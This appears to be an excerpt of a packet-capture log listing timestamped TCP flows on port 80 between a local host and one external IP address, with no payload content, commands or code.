Jul 24, 2024 02:39:12.359550953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359581947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359591961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359626055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359638929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359668016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359682083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359700918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359716892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359735012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359746933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359781027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359783888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359818935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359826088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359852076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359859943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359885931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359891891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359921932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359935045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359955072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359963894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359988928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359997034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360018015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.360033035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360052109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.360059023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360086918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.360095024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360120058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.360126972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360153913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.360161066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360189915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.360198975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360223055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.360229969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.360265017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.366772890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.366830111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.366847992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.366897106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.366900921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.366935015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.366942883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.366970062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.366974115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367002964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367012024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367043972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367054939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367088079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367125034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367125034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367140055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367172956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367196083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367207050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367208958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367240906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367249966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367285967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367357969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367392063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367400885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367434978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367441893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367481947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367486954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367516994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367527008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367556095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367561102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367590904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367594957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367624044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367634058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367657900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367665052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367691040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367701054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367726088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367733955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367758036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367791891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367796898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367796898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367825031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367835999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367858887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367860079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367892981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367902040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367928028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.367933989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.367969990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428626060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428647041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428662062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428677082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428692102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428708076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428723097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428738117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.428785086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429133892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429158926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429173946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429188967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429203987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429219007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429234028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429234028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429234028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429234028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429234028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429234028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429246902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429261923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429276943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429280043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429280043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429280043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429291964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429296017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429306984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429311037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429322004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429322958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429337978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429341078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429353952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.429354906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429369926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.429389954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.447449923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447468042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447756052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.447756052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.447840929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447870016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447885990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447900057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447916985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447931051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447947979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447961092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447976112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.447990894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448004961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448014021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448014975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448014975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448014975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448014975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448014975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448014975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448014975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448021889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448036909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448049068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448049068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448049068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448052883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448066950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448066950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448069096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448085070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448108912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448338032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448379040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448422909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448441029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448471069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448473930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448501110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448508024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448527098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448544025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448565960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448574066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448575974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448590040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.448613882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.448648930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449095964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449141026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449146986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449162960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449182034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449202061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449291945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449315071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449331045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449337959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449347019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449347973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449362993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449367046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449378014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449397087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449507952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449525118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449538946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449553967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449554920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449562073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449573040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449579000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449603081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449603081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449656963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449671030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449696064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449711084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449791908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449807882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449822903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449831963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449839115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449841976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449855089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449865103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449870110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449886084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.449886084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449886084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449906111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.449923992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450098038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450113058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450126886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450135946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450141907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450150013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450159073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450160027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450174093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450177908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450190067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450195074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450205088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450215101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450222015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450241089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450321913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450360060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450392008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450407982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450429916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450453043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450521946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450536966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450551033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450561047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450566053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450568914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450582027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450587988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450598955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450618982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450745106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450758934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450773954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450783014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450790882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450793028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450805902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450810909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450820923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450843096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450885057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450901031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.450925112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.450938940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457245111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457261086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457276106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457355022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457370043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457386017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457433939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457433939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457433939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457433939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457433939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457489967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457508087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457524061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457539082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457629919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457674980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457700968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457700968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457701921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457701921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457701921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457724094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457740068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457740068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457756042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457767963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457772017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457779884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457787037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457791090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457803965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.457811117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457820892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.457843065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458028078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458051920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458067894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458074093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458087921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458103895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458148003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458161116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458174944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458187103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458190918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458197117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458205938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458214045 CEST	49731	80	192.168.2.4	77.91.77.81
